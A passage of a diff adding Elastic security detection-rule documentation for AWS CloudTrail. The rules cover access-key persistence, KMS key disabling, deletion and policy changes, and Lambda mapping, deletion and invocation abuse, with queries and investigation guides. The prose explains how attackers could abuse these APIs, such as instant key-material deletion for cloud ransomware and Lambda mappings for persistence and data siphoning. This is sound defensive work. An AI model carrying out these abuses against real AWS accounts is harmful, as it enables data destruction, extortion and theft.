Esql.aws_cloudtrail_created_access_key_use_flag == 1, + Esql_priv.aws_cloudtrail_user_identity_access_key_id_creator_values = + VALUES(Esql_priv.aws_cloudtrail_user_identity_access_key_id_creator) + WHERE Esql.aws_cloudtrail_self_access_key_creation_flag == 1, + Esql_priv.aws_cloudtrail_response_elements_access_key_access_key_id_values = + VALUES(Esql_priv.aws_cloudtrail_response_elements_access_key_access_key_id) + WHERE Esql.aws_cloudtrail_self_access_key_creation_flag == 1, + Esql_priv.aws_cloudtrail_user_identity_access_key_id_created_key_use_values = + VALUES(aws.cloudtrail.user_identity.access_key_id) + WHERE Esql.aws_cloudtrail_created_access_key_use_flag == 1, + Esql.timestamp_self_access_key_creation_min = + MIN(@timestamp) + WHERE Esql.aws_cloudtrail_self_access_key_creation_flag == 1, + Esql.timestamp_created_access_key_use_min = + MIN(@timestamp) + WHERE Esql.aws_cloudtrail_created_access_key_use_flag == 1, + Esql.source_ip_self_access_key_creation_values = + VALUES(source.ip) + WHERE Esql.aws_cloudtrail_self_access_key_creation_flag == 1, + Esql.source_ip_created_access_key_use_values = + VALUES(source.ip) + WHERE Esql.aws_cloudtrail_created_access_key_use_flag == 1, + Esql.user_agent_original_self_access_key_creation_values = + VALUES(user_agent.original) + WHERE Esql.aws_cloudtrail_self_access_key_creation_flag == 1, + Esql.user_agent_original_created_access_key_use_values = + VALUES(user_agent.original) + WHERE Esql.aws_cloudtrail_created_access_key_use_flag == 1, + Esql.event_action_created_access_key_use_values = + VALUES(event.action) + WHERE Esql.aws_cloudtrail_created_access_key_use_flag == 1 + BY cloud.account.id, + aws.cloudtrail.user_identity.arn, + Esql_priv.aws_cloudtrail_access_key_id_correlation +| WHERE Esql.aws_cloudtrail_self_access_key_creation_count > 0 + AND Esql.aws_cloudtrail_created_access_key_use_count > 0 + AND Esql.timestamp_created_access_key_use_min > + Esql.timestamp_self_access_key_creation_min + AND DATE_DIFF( + "seconds", + Esql.timestamp_self_access_key_creation_min, + Esql.timestamp_created_access_key_use_min + ) <= 3600 +| KEEP + cloud.account.id, + aws.cloudtrail.user_identity.arn, + Esql.*, + Esql_priv.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion.asciidoc new file mode 100644 index 0000000000..aa1ab2a195 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-34-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion]] +=== AWS KMS Customer Managed Key Disabled or Scheduled for Deletion + +Identifies attempts to disable or schedule the deletion of an AWS customer managed KMS Key. Disabling or scheduling a KMS key for deletion removes the ability to decrypt data encrypted under that key and can permanently destroy access to critical resources. Adversaries may use these operations to cause irreversible data loss, disrupt business operations, impede incident response, or hide evidence of prior activity. Because KMS keys often protect sensitive or regulated data, any modification to their lifecycle should be considered highly sensitive and investigated promptly. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/cli/latest/reference/kms/disable-key.html +* https://docs.aws.amazon.com/cli/latest/reference/kms/schedule-key-deletion.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS KMS +* Tactic: Impact +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 115 + +*Rule authors*: + +* Xavier Pich + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS KMS Customer Managed Key Disabled or Scheduled for Deletion* + + +AWS KMS keys underpin encryption for S3, EBS, RDS, Secrets Manager, Lambda, and numerous other AWS services. Disabling a KMS key or scheduling its deletion immediately disrupts encryption and decryption workflows, and, once deleted, renders all data encrypted with that key unrecoverable. + +Because these operations are rare, highly privileged, and tightly controlled in mature environments, they should be treated as high-risk, destructive actions when performed unexpectedly. Adversaries may disable or delete KMS keys to sabotage recovery, impede forensic analysis, or destroy evidence after exfiltration. + + + +*Possible investigation steps* + + +- **Identify the actor and authentication context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine the caller. + - Check `source.ip`, `source.geo` fields, and `user_agent.original` to determine whether the action originated from an expected network path or automation platform. + - Compare the actor and access key to historical usage patterns. + +- **Determine what key was affected and its criticality** + - Inspect `aws.cloudtrail.resources.arn` to identify the KMS key. + - Determine: + - The services and data protected by the key (e.g., RDS, EBS, S3, Secrets Manager). + - The environment (prod vs. dev). + - Owner or application team. + +- **Understand the scope and intent of the change** + - For `DisableKey`, determine whether a dependent service immediately began failing or experienced decryption errors. + - For `ScheduleKeyDeletion`, examine the `PendingWindowInDays` value within `aws.cloudtrail.request_parameters`. + - Check whether the key was previously rotated, enabled/disabled, or had its policy recently modified. + +- **Correlate with surrounding events** + - Look for: + - IAM policy changes granting new KMS privileges. + - Access anomalies involving the same principal. + - File system, database, or backup deletions near the same timeframe. + - S3, EBS, or RDS resources showing encryption failures. + - Determine whether other keys were modified in the same window (possible broader sabotage attempt). + +- **Validate intent with owners** + - Confirm with the application, data, or security owners: + - Whether deactivation or scheduled deletion was requested. + - Whether the key was being replaced, migrated, or retired. + + +*False positive analysis* + + +- **Planned key lifecycle activities** + - Some organizations disable KMS keys before rotation, migration, or decommissioning. + - Scheduled deletion during infrastructure teardown may be expected in CI/CD-driven ephemeral environments. + +- **Configuration errors** + - Misapplied tags or incorrect CloudFormation teardown workflows can unintentionally disable or schedule deletion of KMS keys. + +If any of the above conditions apply, consider adjusting rule exceptions based on IAM principal, environment tag, or automation role. + + +*Response and remediation* + + +- **Contain and validate** + - Immediately confirm whether the key disablement or deletion schedule was intentional. + - If unauthorized, cancel scheduled deletion (`CancelKeyDeletion`) and re-enable the key (`EnableKey`) as appropriate. + - Rotate credentials or access keys used by the actor if compromise is suspected. + +- **Assess impact** + - Identify all AWS services and data encrypted with the affected KMS key. + - Review logs and service metrics for failures involving: + - EBS volume attachments + - RDS instance decryption + - S3 object access + - Secrets Manager retrieval + - Lambda environment variable decryption + +- **Investigate for compromise** + - Review CloudTrail activity for the principal: + - Permission escalations + - Unusual STS role assumptions + - S3, EC2, RDS destructive behavior + - Look for preceding data access or exfiltration attempts. + +- **Strengthen controls** + - Restrict AWS KMS lifecycle permissions (`kms:DisableKey`, `kms:ScheduleKeyDeletion`) to a very small privileged set. + - Use AWS Organizations SCPs to prevent KMS key deletion in production accounts. + - Enable AWS Config rules for KMS key state monitoring. + - Require MFA for administrators capable of key management. + +- **Post-incident improvement** + - Update runbooks to include KMS lifecycle change approvals. + - Implement tagging standards to designate high-risk keys. + - Enhance monitoring for key policy modifications or changes to principal permissions. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "kms.amazonaws.com" + and event.action: ("DisableKey" or "ScheduleKeyDeletion") + and event.outcome: "success" + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Sub-technique: +** Name: Lifecycle-Triggered Deletion +** ID: T1485.001 +** Reference URL: https://attack.mitre.org/techniques/T1485/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-kms-imported-key-material-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-kms-imported-key-material-deleted.asciidoc new file mode 100644 index 0000000000..7469145844 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-kms-imported-key-material-deleted.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-aws-kms-imported-key-material-deleted]] +=== AWS KMS Imported Key Material Deleted + +Identifies deletion of imported key material from an AWS KMS customer managed key via DeleteImportedKeyMaterial. Keys created with an external key material origin (BYOK) rely on key material that the customer imports. Deleting that material immediately makes the key unusable and renders all data encrypted under it inaccessible, with no recovery window. Unlike ScheduleKeyDeletion, which enforces a pending deletion period of 7 to 30 days, this action takes effect instantly, making it an attractive primitive for cloud ransomware and data-destruction attacks. Because this operation only applies to external-origin keys and is rare in normal operations, its use by an unexpected principal warrants prompt review. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/kms/latest/APIReference/API_DeleteImportedKeyMaterial.html +* https://docs.aws.amazon.com/kms/latest/developerguide/importing-keys.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS KMS +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS KMS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS KMS Imported Key Material Deleted* + + +AWS KMS keys can be created with an external key material origin (BYOK), where the customer imports the cryptographic material rather than having KMS generate it. "DeleteImportedKeyMaterial" removes that material, immediately transitioning the key to a "PendingImport" state where it can no longer encrypt or decrypt. All data protected by the key becomes inaccessible until the exact same material is re-imported. Unlike "ScheduleKeyDeletion", there is no pending window, so the impact is instant and, for an adversary who controls and withholds the original material, effectively irreversible. + +Because this action only applies to external-origin keys and is uncommon in normal operations, it should be treated as a high-risk, destructive action when performed unexpectedly. Adversaries may delete imported key material to sabotage recovery, destroy data, or hold encrypted resources for ransom. + + +*Possible investigation steps* + + +- Identify the actor and authentication context in "aws.cloudtrail.user_identity.arn", "aws.cloudtrail.user_identity.access_key_id", and "aws.cloudtrail.user_identity.type", and review "source.ip" and "user_agent.original" to determine whether the action came from an expected network path or automation platform. +- Identify the affected key from "aws.cloudtrail.resources.arn" or the "keyId" in "aws.cloudtrail.request_parameters", and determine which services and data depend on it (S3, EBS, RDS, Secrets Manager, etc.). +- Determine whether the same material was re-imported shortly after ("ImportKeyMaterial") or whether the key was left unusable. +- Correlate with surrounding activity by the same principal, such as KMS key policy changes, scheduled key deletions, S3 or EBS destructive actions, or credential changes that may indicate a broader sabotage or ransom attempt. + + +*False positive analysis* + + +- Organizations with BYOK/HYOK requirements may delete and re-import key material during planned rotation, migration, or decommissioning. Confirm the change is expected and exclude known administration roles or automation on "aws.cloudtrail.user_identity.arn" after validation. + + +*Response and remediation* + + +- If the deletion is unauthorized, re-import the original key material if it is securely retained, and restore access to affected services. +- Treat any encrypted data whose key material cannot be re-imported as potentially unrecoverable, and engage incident response and data owners to assess impact. +- Rotate or restrict credentials for the principal if compromise is suspected, and constrain "kms:DeleteImportedKeyMaterial" and "kms:ImportKeyMaterial" to a small set of trusted administrators. +- Use AWS Organizations SCPs to limit who can manage imported key material in production accounts. + + +*Additional information* + + +- https://docs.aws.amazon.com/kms/latest/APIReference/API_DeleteImportedKeyMaterial.html[DeleteImportedKeyMaterial API] +- https://docs.aws.amazon.com/kms/latest/developerguide/importing-keys.html[Importing key material into AWS KMS keys] + + +==== Setup + + +This rule requires AWS CloudTrail management events for AWS Backup and ingestion via the Elastic AWS CloudTrail integration. See https://docs.elastic.co/integrations/aws/cloudtrail. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "kms.amazonaws.com" + and event.action: "DeleteImportedKeyMaterial" + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AWSService" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Sub-technique: +** Name: Lifecycle-Triggered Deletion +** ID: T1485.001 +** Reference URL: https://attack.mitre.org/techniques/T1485/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-kms-key-policy-updated-via-putkeypolicy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-kms-key-policy-updated-via-putkeypolicy.asciidoc new file mode 100644 index 0000000000..b7e9409476 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-kms-key-policy-updated-via-putkeypolicy.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-aws-kms-key-policy-updated-via-putkeypolicy]] +=== AWS KMS Key Policy Updated via PutKeyPolicy + +Identifies successful PutKeyPolicy calls on AWS KMS keys. The key policy is a resource-based policy that controls which principals can use the key for cryptographic operations and administration. Adversaries with "kms:PutKeyPolicy" may add or broaden principals (including external accounts) to decrypt or exfiltrate data protected by the key, or to preserve access after other credentials are rotated. This is distinct from disabling or scheduling deletion of the key. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/kms/latest/APIReference/API_PutKeyPolicy.html +* https://docs.aws.amazon.com/kms/latest/developerguide/key-policies.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS KMS +* Tactic: Defense Evasion +* Tactic: Privilege Escalation +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS KMS Key Policy Updated via PutKeyPolicy* + + +`PutKeyPolicy` replaces the entire key policy for a customer managed KMS key (and is used in limited scenarios for AWS +managed keys). Unexpected changes can grant `kms:Decrypt`, `kms:GenerateDataKey`, or administrative actions to new +identities. + + +*Possible investigation steps* + + +- Identify the key from `aws.cloudtrail.resources.arn` or `aws.cloudtrail.request_parameters.keyId`. +- Inspect `policy` in `aws.cloudtrail.request_parameters` (or related fields) for new `Principal`, `AWS`, or + `kms:CallerAccount` entries and cross-account ARNs. +- Determine which data stores use the key (S3, EBS, RDS, Secrets Manager, etc.) via CMK aliases or CMDB. +- Correlate with `iam:AttachRolePolicy`, `sts:AssumeRole`, or data-plane access from newly added principals. + + +*False positive analysis* + + +- Planned multi-account encryption patterns; confirm recipient accounts are approved. + + +*Response and remediation* + + +- If unauthorized: restore a known-good policy from backup or IAM/KMS change history, remove rogue principals, and + restrict `kms:PutKeyPolicy` to break-glass roles. + + +*Additional information* + + +- https://docs.aws.amazon.com/kms/latest/APIReference/API_PutKeyPolicy.html[PutKeyPolicy] +- https://docs.aws.amazon.com/kms/latest/developerguide/key-policies.html[KMS key policies] + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "kms.amazonaws.com" + and event.action: "PutKeyPolicy" + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AWSService" + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Temporary Elevated Cloud Access +** ID: T1548.005 +** Reference URL: https://attack.mitre.org/techniques/T1548/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-event-source-mapping-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-event-source-mapping-creation.asciidoc new file mode 100644 index 0000000000..301a9d5ab2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-event-source-mapping-creation.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-34-aws-lambda-event-source-mapping-creation]] +=== AWS Lambda Event Source Mapping Creation + +Identifies the creation of an AWS Lambda event source mapping, which connects an event source such as an Amazon SQS queue, an Amazon Kinesis or DynamoDB stream, an Amazon MSK or self-managed Apache Kafka topic, or an Amazon MQ broker to a Lambda function so the function is automatically invoked when new records arrive. Adversaries with "lambda:CreateEventSourceMapping" permissions can abuse this to establish stealthy, event-driven persistence and execution, or to continuously siphon records from a stream or queue into attacker-controlled function code. Because the function then runs on its own whenever the source produces events, this grants durable execution without any further interactive activity by the adversary. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/lambda/latest/dg/invocation-eventsourcemapping.html +* https://docs.aws.amazon.com/lambda/latest/api/API_CreateEventSourceMapping.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS Lambda +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Service: AWS Lambda + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Event Source Mapping Creation* + + +AWS Lambda event source mappings poll an event source (Amazon SQS, Kinesis or DynamoDB streams, Amazon MSK or self-managed Kafka, or Amazon MQ) and invoke a target function as records arrive. Creating a mapping is a low-frequency, high-impact configuration change: it can establish event-driven persistence and execution, or quietly relay sensitive records from a stream or queue into attacker-controlled code. + +This rule detects successful `CreateEventSourceMapping` calls. Investigate whether the principal, the target function, and the event source are expected for the environment. + + +*Possible investigation steps* + + +- Identify the actor in `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type`, and review `source.ip` and `user_agent.original` to determine whether the call came from the console, CLI, SDK, or automation. +- Inspect `aws.cloudtrail.request_parameters` for the `functionName`/`functionArn` and the `eventSourceArn` to identify the target function and the source queue, stream, topic, or broker. +- Determine whether the target function and the event source belong to the same application and account, and whether the function code, role, and recent changes are trusted (correlate with `CreateFunction`, `UpdateFunctionCode`, and `AddPermission`). +- Review whether the event source contains sensitive data (for example a DynamoDB stream or SQS queue carrying business records) that the mapping could be used to exfiltrate. +- Pivot on the same principal and access key for other recent Lambda, IAM, or data-plane activity. + + +*False positive analysis* + + +- Event source mappings are a normal building block of serverless data pipelines and queue/stream consumers. Mappings created by approved deployment roles, CI/CD pipelines, or application teams are expected. Tune on `aws.cloudtrail.user_identity.arn`, `user_agent.original`, or known automation roles after validation. + + +*Response and remediation* + + +- If the mapping is unauthorized, disable or delete it (`DeleteEventSourceMapping`) and review the target function's code, configuration, and execution role. +- Determine whether records were processed by the function while the mapping was active and assess potential data exposure. +- Rotate or restrict credentials for the principal that created the mapping if compromise is suspected, and constrain `lambda:CreateEventSourceMapping` to a small set of trusted roles. + + +*Additional information* + + +- https://docs.aws.amazon.com/lambda/latest/dg/invocation-eventsourcemapping.html[AWS Lambda event source mappings] +- https://docs.aws.amazon.com/lambda/latest/api/API_CreateEventSourceMapping.html[CreateEventSourceMapping API] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "lambda.amazonaws.com" + and event.action: CreateEventSourceMapping* + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-deletion.asciidoc new file mode 100644 index 0000000000..bdd0dee545 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-deletion.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-34-aws-lambda-function-deletion]] +=== AWS Lambda Function Deletion + +Identifies the deletion of an AWS Lambda function. Deleting a function removes its code, configuration, versions, and aliases. Adversaries may delete functions to disrupt business operations and automated workflows, to destroy attacker-deployed backdoors and remove evidence after achieving their objective, or to inhibit incident response. Because function deletion is destructive and often irreversible without redeployment, deletions performed by unexpected principals or outside change windows should be reviewed. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/lambda/latest/api/API_DeleteFunction.html +* https://docs.aws.amazon.com/lambda/latest/dg/logging-using-cloudtrail.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Lambda +* Tactic: Impact +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Function Deletion* + + +Deleting an AWS Lambda function removes its code, configuration, published versions, and aliases. This can be a destructive action that disrupts serverless workloads and automation, or a cleanup step an adversary uses to remove a backdoor function and erase evidence after their objective is met. + +This rule detects successful `DeleteFunction` calls. Investigate whether the principal and the deleted function are expected, and whether the deletion correlates with other suspicious activity. + + +*Possible investigation steps* + + +- Identify the actor in `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type`, and review `source.ip` and `user_agent.original` to determine how the deletion was performed (console, CLI, SDK, automation). +- Inspect `aws.cloudtrail.request_parameters` for the `functionName` and map it to its application, owner, and environment (prod, staging, dev). +- Determine whether the deletion aligns with an approved change, decommissioning, or infrastructure-as-code destroy operation by comparing `@timestamp` against deployment and change-management records. +- Correlate with recent activity by the same principal or access key, such as `CreateFunction`, `UpdateFunctionCode`, `AddPermission`, `CreateEventSourceMapping`, log-group deletions, or other destructive or evasive actions. +- Verify whether multiple functions were deleted in a short window, which may indicate broad disruption rather than a single planned change. + + +*False positive analysis* + + +- Function deletions are common during decommissioning and infrastructure-as-code apply/destroy cycles. Deletions by approved deployment roles, CI/CD pipelines, or platform automation are expected. Tune on `aws.cloudtrail.user_identity.arn`, `user_agent.original`, or known automation roles after validation. + + +*Response and remediation* + + +- If the deletion is unauthorized, restore the function from source control or an infrastructure-as-code definition and confirm its code, configuration, and execution role match a known-good state. +- Review CloudTrail for related destructive or evasive actions by the same actor and assess operational impact. +- Rotate or restrict credentials for the principal if compromise is suspected, and constrain `lambda:DeleteFunction` to a small set of trusted roles. + + +*Additional information* + + +- https://docs.aws.amazon.com/lambda/latest/api/API_DeleteFunction.html[DeleteFunction API] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "lambda.amazonaws.com" + and event.action: (DeleteFunction or DeleteFunction20*) + and event.outcome: "success" + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-high-frequency-invocation-by-a-single-principal.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-high-frequency-invocation-by-a-single-principal.asciidoc new file mode 100644 index 0000000000..225470d2db --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-high-frequency-invocation-by-a-single-principal.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-aws-lambda-function-high-frequency-invocation-by-a-single-principal]] +=== AWS Lambda Function High-Frequency Invocation by a Single Principal + +Identifies a single principal directly invoking AWS Lambda functions at a high volume within a one-hour window. Adversaries may drive excessive invocations to abuse functions for resource hijacking or cryptomining, to inflate costs in a denial-of-wallet attack, or to enumerate function behavior. This is a volumetric heuristic: the threshold is environment-dependent and high-throughput applications can exceed it, so tune it to the deployment. This rule relies on AWS Lambda data event logging, which is not enabled by default. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 60m + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/lambda/latest/dg/logging-using-cloudtrail.html +* https://docs.aws.amazon.com/lambda/latest/dg/lambda-concurrency.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS Lambda +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: ES|QL +* Platform: AWS +* Service: AWS Lambda + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Function High-Frequency Invocation by a Single Principal* + + +A principal issuing a high volume of direct Lambda invocations in a short window can indicate function abuse for resource hijacking or cryptomining, a denial-of-wallet cost attack, or behavioral enumeration. Because Lambda data events record only the invocation metadata (caller, function, source) and not the function's internal behavior, this rule is purely volumetric and should be treated as corroborating signal. + + +*Possible investigation steps* + + +- Identify the principal in `aws.cloudtrail.user_identity.arn` and determine whether the volume exceeds its historical baseline. +- Determine whether the principal is a known high-throughput application or automation identity, or an unexpected user. +- Review `source.ip` / `user_agent.original` and recent credential activity for signs of compromise. +- Correlate with billing/concurrency metrics and with other Lambda or IAM activity by the same principal. + + +*False positive analysis* + + +- High-throughput apps, batch processing, and load tests routinely exceed fixed thresholds. Tune the threshold and exclude known high-volume identities after validation. + + +*Response and remediation* + + +- If abuse is confirmed, throttle or disable the affected functions (reserved concurrency), rotate or restrict the principal's credentials, and review function code and execution-role permissions. +- Apply per-function reserved concurrency 